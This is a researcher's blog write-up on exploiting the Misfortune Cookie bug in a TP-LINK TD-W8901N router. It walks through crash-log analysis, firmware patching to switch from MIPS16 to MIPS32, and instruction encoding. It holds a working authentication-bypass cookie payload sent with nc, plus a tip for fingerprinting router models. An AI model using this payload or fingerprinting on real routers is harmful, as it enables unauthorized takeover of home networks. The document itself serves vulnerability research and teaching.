You are on page 1of 5

Understanding MIPS16 To MIPS32 Switching With Misfortune Cookie

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)


http://cawanblog.blogspot.com/2015/04/understanding-mips16-to-mips32.html
on 26/04/2015
TD-W8901N V2 is a new release of ADSL router to supersede the previous V1 with the
first version of firmware being published on 3rd Nov 2014. I expect it should have
some remedies to rom-0 and misfortune cookie bugs. Let's have a look.
cawan$ wget 192.168.1.1/rom-0
--2015-04-26 22:38:56-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-04-26 22:38:56 ERROR 404: Not Found.
Well, rom-0 bug is fixed in this version. Now, let's try with misfortune cookie
bug.
cawan$ curl --header 'Cookie: C' 192.168.1.1
At console, it shows,
TLB refill exception occured!
EPC= 0x800EDA07
SR= 0x10000003
CR= 0xC080580C
$RA= 0x00000000
Bad Virtual Address = 0x00000000
UTLB_TLBS ..\core\sys_isr.c:336 sysreset()
$r0=
$a0=
$t0=
$t4=
$s0=
$s4=
$t8=
$gp=

0x00000000
0x00000001
0x8001FF80
0x00000002
0x805A03E8
0x803AD7AC
0x00000000
0x803B02D4

$at=
$a1=
$t1=
$t5=
$s1=
$s5=
$t9=
$sp=

0x803F0000
0x80593D80
0xFFFFFFFE
0x8044F3D8
0x8044EF00
0x8000007C
0x00000000
0x805A03E8

$v0=
$a2=
$t2=
$t6=
$s2=
$s6=
$k0=
$fp=

0x00000000
0x00000001
0x00279AE7
0x00000000
0x00000001
0x00000000
0x00000000
0x805A03E8

$v1=
$a3=
$t3=
$t7=
$s3=
$s7=
$k1=
$ra=

0x00000001
0x802A83C4
0x00000000
0x8044EF00
0x803AD7B0
0x00000000
0x8000007C
0x80034F04

...
...
current task
dump task
tx_stack_ptr
tx_stack_start
tx_stack_end
tx_stack_size
tx_run_count

=
=
=
=
=
=
=

httpd
network
0x8058FC18
0x8058BD78
0x8058FD77
0x00004000
0x00001375

...
...
Unfortunately, the misfortune cookie bug is still there. By using the method that
I have mentioned in my previous paper, the exploit should easily be developed.
However, there is an interesting issue in this version of firmware which is worth
to discuss, MIPS16. In all the firmwares with misfortune cookie bug that I have
studied before, all of them are running in MIPS32, so this is the first time I get
a firmware which is running in MIPS16, or the hybrid of MIPS16 and MIPS32. How to
know it is running in MIPS16 ? Simple, the EPC is crashed at an odd number value,
0x800EDA07. In MIPS32, the first 2 bits from LSB is normally set as zero, because
each instruction is with fixed length of 32-bit. However, in MIPS16, the first bit
from LSB is set as one, while the second bit is in used for addressing and keep
toggling with one and zero. Now, let's have a look to the code snippet around
0x800EDA07.

ROM:800ED9EE
ROM:800ED9F0
ROM:800ED9F2
ROM:800ED9F4
ROM:800ED9F6
ROM:800ED9F8
ROM:800ED9FA
ROM:800ED9FE
ROM:800EDA00
ROM:800EDA02
ROM:800EDA04
ROM:800EDA06
ROM:800EDA0A
ROM:800EDA0C
ROM:800EDA0E
ROM:800EDA10
ROM:800EDA14
ROM:800EDA16
ROM:800EDA18
ROM:800EDA1A
ROM:800EDA1C
ROM:800EDA1E
ROM:800EDA22
ROM:800EDA24
ROM:800EDA26
ROM:800EDA28
ROM:800EDA2A
ROM:800EDA2C
ROM:800EDA2E
ROM:800EDA30
ROM:800EDA34
ROM:800EDA36

lb
li
cmpi
btnez
addiu
move
jal
nop
move
move
move
jalx
sb
addiu
move
jal
sw
addu
move
sb
lw
li
addu
lw
li
mult
mflo
addu
move
jal
nop
b

$a3, 0($s0)
$a1, 0x3D
$a3, 0x43
loc_800EDA38
$s0, 1
$a0, $s0
sub_80130928
$a0, $s0
$s1, $v0
$a3, $zero
sub_801B3C2C
$a3, 0($s1)
$s1, 1
$a0, $s1
sub_80130C58
$v0, 8($sp)
$s0, $s1, $v0
$a3, $zero
$a3, 0($s0)
$v1, 0xC($sp)
$a3, 0x6B28
$a3, $v1, $a3
$v1, 8($sp)
$a2, 0x28
$v1, $a2
$a1
$a0, $a3, $a1
$a1, $s1
sub_8012F844
loc_800EDA52

At 0x800EDA07, the instruction being executed is


ROM:800EDA06

jalx

sub_801B3C2C

However, due to one delay slot in MIPS architecture, the faulty instruction
should be
ROM:800EDA0A

sb

$a3, 0($s1)

The reason is $s1 is getting from $v0, which is the return value of sub_80130928.
When not passing any parameter in misfortune cookie, sub_80130928 will return a
null, and eventually will cause a write operation to address 0x00000000, which is
invalid, and in turn crashing the system. Now, to develop an exploit for this
version of firmware, the value of $v1 at ROM:800EDA22 is necessary. With the
method as mentioned in my previous paper, an instruction should be injected at
that address to duplicate the value of $v1 into $s7, following by another
instruction to crash the system and print the value of $s7 via the console as
crash log. The reason I choose $s7 is because it is not being used by sysreset()
in system crashing, so it will not be overridden, and I can get the exact value
of $v1 from crash log. But, in MIPS16, $s7 is unavailable. The registers which
are available in MIPS16 are $s0, $s1, $v0, $v1, $a0, $a1, $a2, and $a3, where
all of them will be overridden by sysreset(). I get this conclusion by trying all
of them in MIPS16, but not going to reverse sysreset().
Well, it is necessary to switch from MIPS16 into MIPS32 first before getting $s7
ready to show the value of $v1. In order to switch from MIPS16 to MIPS32, jalx
instruction should be used. By referring [1] page 83, it is possible to create
a special jalx instruction to get the job done. Let's assume the jalx instruction
can be located at any specific address to switch MIPS16 into MIPS32 and then
divert the instruction flow to another address which is patched with instruction
to duplicate the value of specific register into $s7 and then crash immediately.
So, if we need to get the value of $v1 at ROM:800EDA22, we can patch the address
with "jalx 0x800eda34" and at ROM:800EDA34, we can patch it with "jr $zero", and
at ROM:800EDA38, we patch it with "add $s7, $v1, $zero". Why "add $s7, $v1, $zero"
is after "jr $zero" ? Please keep delay slot in mind. Let's do it now.
Bootbase Version: VTC_SPI1.26 |
RAM: Size = 8192 Kbytes

2012/12/26 16:00:00

Found SPI Flash 2MiB EN25QH16 at 0xbfc00000


SPI Flash Quad Enable
Turn off Quad Mode
RAS Version: 2.0.0 Build 141103 Rel.09284
System
ID: $2.12.191.0(G04.BZ.4)3.20.17.0

20141024_v005

| 2014/10/24

Press any key to enter debug mode within 3 seconds.


........
Enter Debug Mode
ATEN1, D423EB58
OK
ATWL 80014AC4, ac30fffc
OK
atgr
OK
(Compressed)
Version: ADSL ATU-R, start: bfc86030
Length: 3882D4, Checksum: 1919
Compressed Length: 1369FF, Checksum: 0EB9
ERROR
ATWL 800EDA24, 1C60B68D
OK
ATWL 800EDA34, 00000008
OK
ATWL 800eda38, 0060b820
OK
atgo 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD
running romfile and backup romfile is

the same

Erasing 4K Sector...
Erasing 4K Sector...
...
...
cawan$ curl --header 'Cookie: C8=cawan' 192.168.1.1
TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50801C08
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:336 sysreset()
$r0=
$a0=
$t0=
$t4=
$s0=
$s4=
$t8=
$gp=

0x00000000
0x00000001
0x8001FF80
0x00000002
0x805A03E8
0x803AD7AC
0x00000000
0x803B02D4

$at=
$a1=
$t1=
$t5=
$s1=
$s5=
$t9=
$sp=

0x803F0000
0x80593D80
0xFFFFFFFE
0x8044F3D8
0x8044EF00
0x8000007C
0x00000000
0x805A03E8

$v0=
$a2=
$t2=
$t6=
$s2=
$s6=
$k0=
$fp=

0x00000000
0x00000001
0x00060D2F
0x00000000
0x00000001
0x00000000
0x00000000
0x805A03E8

$v1=
$a3=
$t3=
$t7=
$s3=
$s7=
$k1=
$ra=

0x00000001
0x802A83C4
0x00000000
0x8044EF00
0x803AD7B0
0x803B12A8
0x8000007C
0x80034F04

...
...
So, the value of $v1 is 0x803B12A8 and $a3 is 0x803B12A8 + 0x6B28 = 0x803B7DD0.
On the other hand, since the EPC is stopped at 0x00000000, which is not an odd
number value, it shows the system has been switched from MIPS16 into MIPS32 before
getting crashed. So, it is ready to create our exploit right now. Let's do it.
cawan$ cat cawan_header_unlock | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f

GET / HTTP/1.1.U
ser-Agent: curl/

0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932 7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130
*/*.Cookie: C10
0000050: 3733 3436 3430 323d 6161 6161 6161 6161 7346402=aaaaaaaa
0000060: 6161 6161 610a
aaaaa.
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*
Trying 192.168.1.1...
* Adding handle: conn: 0x7fa97a000000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fa97a000000) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 303 See Other
< Location: http://192.168.1.1/login_security.html
< Content-Length: 0
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
* Connection #0 to host 192.168.1.1 left intact
cawan$
cawan$ cat cawan_header_unlock | nc 192.168.1.1 80
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*
Trying 192.168.1.1...
* Adding handle: conn: 0x7ffe01005400
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7ffe01005400) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Date: Sat, 01 Jan 2000 00:01:04 GMT
< Pragma: no-cache
< Expires: Thu, 26 Oct 1995 00:00:00 GMT
< Transfer-Encoding: chunked
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
...
...
Cool, the exploit works like a charm.
There are quite a number of peoples are questioning to the usefulness of misfortune
cookie bug by assuming all of them must come with rom-0 bug. In reality, rom-0 bug
can simply be removed or fixed by those who having html to c utility, which is
normally in the disposal of majority downstream manufacturer. However, httpd.a is
usually obtained from upstream in binary format which is almost impossible to be
modified by downstream in proper condition. On the other hand, someone might argue
again while the new version has using web login without the popup box which indicate
the model number of the router, then how to determine the model number of the target
router now ? The answer is in fact fairly simple,

cawan$ wget 192.168.1.1/DeviceDescription.xml


--2015-04-27 03:09:04-- http://192.168.1.1/DeviceDescription.xml
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/xml]
Saving to: DeviceDescription.xml
[

<=>

] 6,271

19.3KB/s

in 0.3s

2015-04-27 03:09:05 (19.3 KB/s) - DeviceDescription.xml saved [6271]


cawan$
cawan$ cat DeviceDescription.xml | grep -i modelname
<modelName>TD-W8901G IGD</modelName>
<modelName>TD-W8901G IGD</modelName>
<modelName>TD-W8901G IGD</modelName>
<modelName>TD-W8901G IGD</modelName>
cawan$
Enjoy.
Add-on:
jalx target
xxxxx y aaaaa bbbbb cccccccccccccccc
xxxxx = 00011
y
= 1
aaaaa = target (20:16)
bbbbb = target (25:21)
cccccccccccccccc = target (15:0)
When target = 0x800eda34, since it is located at kseg0, and the MSB will always
reset to 0 while mapping to physical address. So, it can be neglected and assume
it is 0x000eda34. Because each instruction taking 32-bit or 4-byte, the target
should be converted to (0x000eda34 / 4) = 0x3b68d. Hence,
aaaaa = 00011
bbbbb = 00000
cccccccccccccccc = 0xb68d
Thus, the "jalx 0x800eda34" in hex format is,
00011 1 00011 00000 (0xb68d)
0001 1100 0110 0000 (0xb68d)
(0x1) (0xc) (0x6) (0x0) (0xb68d)
0x1c60b68d
References:[1] http://saluc.engr.uconn.edu/refs/processors/mips/mip32_prog_4a.pdf

You might also like